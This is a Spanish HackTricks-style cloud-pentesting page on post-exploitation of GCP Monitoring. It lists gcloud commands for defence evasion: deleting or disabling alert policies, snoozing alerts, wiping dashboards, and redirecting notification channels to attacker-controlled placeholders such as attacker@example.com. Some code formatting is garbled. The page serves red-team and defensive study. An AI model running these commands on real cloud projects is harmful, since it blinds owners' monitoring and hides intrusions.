GCP - Monitoring Post-explotación

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Monitoring

Para más información, consulta:

GCP - Monitoring Enum

Para otras formas de interrumpir los registros, consulta:

GCP - Logging Post Exploitation

monitoring.alertPolicies.delete

Eliminar una política de alertas:

Eliminar política de alertas ```bash gcloud alpha monitoring policies delete ```

monitoring.alertPolicies.update

Interrumpir una política de alertas:

Interrumpir política de alertas ```bash # Disable policy gcloud alpha monitoring policies update --no-enabled

Remove all notification channels

gcloud alpha monitoring policies update –clear-notification-channels

Chnage notification channels

gcloud alpha monitoring policies update –set-notification-channels=ATTACKER_CONTROLLED_CHANNEL

Modify alert conditions

gcloud alpha monitoring policies update –policy=“{ ‘displayName’: ‘New Policy Name’, ‘conditions’: [ … ], ‘combiner’: ‘AND’, … }”

or use –policy-from-file 

</details>

### `monitoring.dashboards.update`

Modifica un dashboard para interrumpirlo:

<details>

<summary>Interrumpir dashboard</summary>
```bash
# Disrupt dashboard
gcloud monitoring dashboards update <dashboard> --config='''
displayName: New Dashboard with New Display Name
etag: 40d1040034db4e5a9dee931ec1b12c0d
gridLayout:
widgets:
- text:
content: Hello World
'''

monitoring.dashboards.delete

Eliminar un dashboard:

Eliminar dashboard ```bash # Delete dashboard gcloud monitoring dashboards delete ```

monitoring.snoozes.create

Evita que las políticas generen alertas creando un snoozer:

Crear snoozer para detener alertas ```bash # Stop alerts by creating a snoozer gcloud monitoring snoozes create --display-name="Maintenance Week" \ --criteria-policies="projects/my-project/alertPolicies/12345,projects/my-project/alertPolicies/23451" \ --start-time="2023-03-01T03:00:00.0-0500" \ --end-time="2023-03-07T23:59:59.5-0500" ```

monitoring.snoozes.update

Actualizar la programación de un snoozer para evitar que se creen alertas cuando al atacante le interese:

Actualizar la programación del snoozer ```bash # Modify the timing of a snooze gcloud monitoring snoozes update --start-time=START_TIME --end-time=END_TIME

odify everything, including affected policies

gcloud monitoring snoozes update –snooze-from-file=

</details>

### `monitoring.notificationChannels.delete`

Eliminar un canal configurado:

<details>

<summary>Eliminar canal de notificación</summary>
```bash
# Delete channel
gcloud alpha monitoring channels delete <channel>

monitoring.notificationChannels.update

Actualizar las etiquetas de un canal para interrumpirlo:

Actualizar etiquetas del canal de notificación ```bash # Delete or update labels, for example email channels have the email indicated here gcloud alpha monitoring channels update CHANNEL_ID --clear-channel-labels gcloud alpha monitoring channels update CHANNEL_ID --update-channel-labels=email_address=attacker@example.com ```

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

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